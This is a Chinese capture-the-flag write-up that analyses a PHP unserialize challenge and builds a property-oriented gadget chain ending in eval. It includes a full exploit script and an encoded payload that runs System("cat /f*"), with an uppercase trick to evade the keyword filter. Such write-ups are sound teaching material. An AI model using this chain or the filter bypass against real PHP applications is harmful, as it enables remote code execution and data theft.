题目链接

页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
include "waf.php";
class NISA {
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup() {
if($this->fun=="show_me_flag") {
hint();
}
}
function __call($from,$val) {
$this->fun=$val[0];
}
public function __toString() {
echo $this->fun;
return " ";
}
public function __invoke() {
checkcheck($this->txw4ever);
@eval($this->txw4ever); // [1]
}
}
class TianXiWei {
public $ext;
public $x;
public function __wakeup() {
$this->ext->nisa($this->x); // [5]
}
}
class Ilovetxw {
public $huang;
public $su;
public function __call($fun1,$arg) {
$this->huang->fun=$arg[0]; // [4]
}
public function __toString() {
$bb = $this->su;
return $bb(); // [2]
}
}
class four {
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value) {
$this->$name=$value;
if ($this->fun = "sixsixsix") {
strtolower($this->a); // [3]
}
}
}
if(isset($_GET['ser'])) {
@unserialize($_GET['ser']);
} else {
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>

分析 [(各魔术方法用途见:附)](# 附:魔术方法)

  1. 明显目标为 [1] 处的eval执行任意代码 且参数可控
  2. 要能执行 [1] 则需有类似 $a() 的调用 ( __invoke在类对象名作为函数名调用时执行),由此定位到 [2]
  3. __tostring 当类对象被当作字符串处理时调用,由此定位到 [3]
  4. __set 用于将数据写入不可访问的属性, $func 属性为private,定位到 [4]
  5. __call 在对象上下文中调用不可访问的方法时觖发,定位到 [5] ,没有类有nisa方法

exp

按照思路逆序构造

注意还要绕过过滤,system过不了 换成大写即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class NISA {
public $fun;
public $txw4ever='System("cat /f*");';
}
class TianXiWei {
public $ext;
public $x;
}
class Ilovetxw {
public $huang;
public $su;
}
class four {
public $a;
private $fun;
}
$a = new TianXiWei;
$a -> ext = new Ilovetxw;
$a -> ext -> huang = new four;
$a -> ext -> huang -> a = new Ilovetxw;
$a -> ext -> huang -> a -> su = new NISA;
echo urlencode(serialize($a)) . "\n";

// ?ser=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A7%3A%22show_me%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22System%28%22cat+%2Ff%2A%22%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3BN%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

附:魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
__construct 	//对象创建(new)时会自动调用。
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时觖发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset(或empty)触发
__unset() //在不可访问的属性上使用unset(时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__autoload() //在代码中当调用不存在的类时会自动调用该方法。
⬆︎TOP